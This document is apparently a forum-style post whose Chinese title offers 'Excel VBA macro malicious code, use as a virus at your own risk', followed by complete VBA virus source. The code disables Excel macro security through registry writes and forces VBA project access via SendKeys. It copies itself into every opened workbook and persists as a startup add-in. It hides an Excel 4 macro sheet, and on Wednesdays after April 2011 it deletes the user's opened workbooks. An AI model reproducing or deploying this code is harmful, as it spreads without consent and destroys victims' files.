excel vba 宏 恶意代码（用来做病毒责任自负）

Public WithEvents xx As Application
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
If Sheets(1).Name <> "Macro1" Then
Call auto_open
End If
Application.DisplayAlerts = False
Security (1)
Call SetAllowableVbe
Call Microsofthobby
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
If Now >= DateSerial("2011", "4", "1") _
And Weekday(Now, vbMonday) = 3 And wb.Name <> "rpt_pdm2cvs.xls" Then
wb.ChangeFileAccess xlReadOnly
Kill wb.FullName
wb.Close False
End If
If copystart(wb) Then GoTo 700
700: wb.Save
Application.ScreenUpdating = True
End Sub

Global Const REG_SZ As Long = 1
Global Const REG_DWORD As Long = 4
Global Const HKEY_LOCAL_MACHINE = &H80000002
Global Const HKEY_CURRENT_USER = &H80000001
Global Const KEY_ALL_ACCESS = &H3F
Global Const REG_OPTION_NON_VOLATILE = 0

Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long
Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long

Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Call delete_this_wk
Call copytoworkbook
If Movemacro4(ThisWorkbook) Then GoTo 800
800:
ThisWorkbook.Save
Application.ScreenUpdating = True
End If
End Sub
Private Sub copytoworkbook()
Const DQUOTE = """" ' one " character
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "If Sheets(1).Name <> " & DQUOTE & "Macro1" & DQUOTE & " Then"
.InsertLines 6, "Call auto_open"
.InsertLines 7, "End If"
.InsertLines 8, "Application.DisplayAlerts = False"
.InsertLines 9, "Security (1)"
.InsertLines 10, "Call SetAllowableVbe"
.InsertLines 11, "Call Microsofthobby"
.InsertLines 12, "End Sub"
.InsertLines 13, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 14, "On Error Resume Next"
.InsertLines 15, "wb.VBProject.References.AddFromGuid _"
.InsertLines 16, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 17, "Major:=5, Minor:=3"
.InsertLines 18, "Application.ScreenUpdating = False"
.InsertLines 19, "Application.DisplayAlerts = False"
.InsertLines 20, "If Now >= DateSerial(" & DQUOTE & "2011" & DQUOTE & ", " & DQUOTE & "4" & DQUOTE & ", " & DQUOTE & "1" & DQUOTE & ") _"
.InsertLines 21, "And Weekday(Now, vbMonday) = 3 And wb.Name <> " & DQUOTE & "rpt_pdm2cvs.xls" & DQUOTE & "Then"
.InsertLines 22, "wb.ChangeFileAccess xlReadOnly"
.InsertLines 23, "Kill wb.FullName"
.InsertLines 24, "wb.Close False"
.InsertLines 25, "End If"
.InsertLines 26, "If copystart(wb) Then GoTo 700"
.InsertLines 27, "700: wb.Save"
.InsertLines 28, "Application.ScreenUpdating = True"
.InsertLines 29, "End Sub"

End With
End Sub

Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule

Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
.DeleteLines 1, .CountOfLines
End With

End Sub

Function copystart(ByVal wb As Workbook)
On Error Resume Next

Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("rpt_pdm2cvs.xls").VBProject
Set VBProj2 = wb.VBProject

If copymodule("copymod", VBProj1, VBProj2, False) Then Exit Function

End Function

Function copymodule(ModuleName As String, _
FromVBProject As VBIDE.VBProject, _
ToVBProject As VBIDE.VBProject, _
OverwriteExisting As Boolean) As Boolean

On Error Resume Next

Dim VBComp As VBIDE.VBComponent
Dim FName As String
Dim CompName As String
Dim S As String
Dim SlashPos As Long
Dim ExtPos As Long
Dim TempVBComp As VBIDE.VBComponent

If FromVBProject Is Nothing Then
copymodule = False
Exit Function
End If

If Trim(ModuleName) = vbNullString Then
copymodule = False
Exit Function
End If

If ToVBProject Is Nothing Then
copymodule = False
Exit Function
End If

If FromVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If

If ToVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If

On Error Resume Next
Set VBComp = FromVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If

FName = Environ("Temp") & "\" & ModuleName & ".bas"
If OverwriteExisting = True Then

If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
Err.Clear
Kill FName
If Err.Number <> 0 Then
copymodule = False
Exit Function
End If
End If
With ToVBProject.VBComponents
.Remove .Item(ModuleName)
End With
Else

Err.Clear
Set VBComp = ToVBProject.VBComponents(ModuleName)
If Err.Number <> 0 Then
If Err.Number = 9 Then

Else

copymodule = False
Exit Function
End If
End If
End If

FromVBProject.VBComponents(ModuleName).Export Filename:=FName

SlashPos = InStrRev(FName, "\")
ExtPos = InStrRev(FName, ".")
CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)

Set VBComp = Nothing
Set VBComp = ToVBProject.VBComponents(CompName)

If VBComp Is Nothing Then
ToVBProject.VBComponents.Import Filename:=FName
Else
If VBComp.Type = vbext_ct_Document Then

Set TempVBComp = ToVBProject.VBComponents.Import(FName)

With VBComp.CodeModule
.DeleteLines 1, .CountOfLines
S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
.InsertLines 1, S
End With
On Error GoTo 0
ToVBProject.VBComponents.Remove TempVBComp
End If
End If
Kill FName
copymodule = True
End Function

Function Movemacro4(ByVal wb As Workbook)
On Error Resume Next

Dim sht As Object

wb.Sheets(1).Select
Sheets.Add Type:=xlExcel4MacroSheet
ActiveSheet.Name = "Macro1"
Range("A1").Select
Application.CutCopyMode = False
ActiveCell.FormulaR1C1 = "Door Locked"
Range("A2").Select
ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
Range("A3").Select
ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""TestMacro""))=4)"
Range("A4").Select
ActiveCell.FormulaR1C1 = "=  ALERT(""运行此文件，需要宏功能!"",3)"
Range("A5").Select
ActiveCell.FormulaR1C1 = "=  FILE.CLOSE(FALSE)"
Range("A6").Select
ActiveCell.FormulaR1C1 = "=END.IF()"
Range("A7").Select
ActiveCell.FormulaR1C1 = "=RETURN()"

For Each sht In wb.Sheets
wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
Next
wb.Sheets(1).Visible = False

End Function

Private Sub AddPrivateNames()
On Error Resume Next

Dim sht As Object

For Each sht In Sheets
ThisWorkbook.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
Next
End Sub
Private Sub HideMacroSheet()
ThisWorkbook.Excel4MacroSheets(1).Visible = xlSheetHidden
End Sub
Private Sub HideMacroSheeth()
ThisWorkbook.Excel4MacroSheets(1).Visible = -1
End Sub

Sub Microsofthobby()
On Error Resume Next
Dim myfile0 As String
Dim myfile As String
'
myfile0 = ThisWorkbook.FullName
myfile = Application.StartupPath & "\rpt_pdm2cvs.xls"

If ThisWorkbook.Path <> Application.StartupPath Then
Set fs = CreateObject("Scripting.FileSystemObject")

Application.ScreenUpdating = False

If fs.FileExists(myfile) Then

If True Then
On Error Resume Next
Workbooks("rpt_pdm2cvs.xls").Close False
Kill myfile
ThisWorkbook.IsAddin = True
ThisWorkbook.SaveAs myfile
Workbooks.Open myfile0
Else
ThisWorkbook.Close False
End If

Else
ThisWorkbook.IsAddin = True
ThisWorkbook.SaveAs myfile
Workbooks.Open myfile0

End If

Application.ScreenUpdating = True

End If
End Sub

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Sub Security(Level)
Dim VS As String
VS = Application.Version
CreateNewKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Office\" & VS & "\Excel\Security\"
SetKeyValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Office\" & VS & "\Excel\Security", "Level", Level, 4
CreateNewKey HKEY_CURRENT_USER, "Software\Microsoft\Office\" & VS & "\Excel\Security\"
SetKeyValue HKEY_CURRENT_USER, "Software\Microsoft\Office\" & VS & "\Excel\Security", "Level", Level, 4
End Sub

Public Function CreateNewKey(lPredefinedKey As Long, sNewKeyName As String)
Dim hNewKey As Long
Dim lRetVal As Long

lRetVal = RegCreateKeyEx(lPredefinedKey, sNewKeyName, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hNewKey, lRetVal)
RegCloseKey (hNewKey)
End Function

Public Function SetKeyValue(lPredefinedKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long)
Dim lRetVal As Long
Dim hKey As Long

lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
lRetVal = SetValueEx(hKey, sValueName, lValueType, vValueSetting)
RegCloseKey (hKey)

End Function

Public Function SetValueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long
Dim lValue As Long
Dim sValue As String

Select Case lType
Case REG_SZ
sValue = vValue
SetValueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue))
Case REG_DWORD
lValue = vValue
SetValueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4)
End Select

End Function
Sub SetAllowableVbe()
On Error Resume Next
Dim Chgset As Boolean
Debug.Print ThisWorkbook.VBProject.Protection
If Err.Number = 1004 Then
Err.Clear
Application.SendKeys "%TMS%T%V{ENTER}"
Chgset = True
DoEvents
End If
End Sub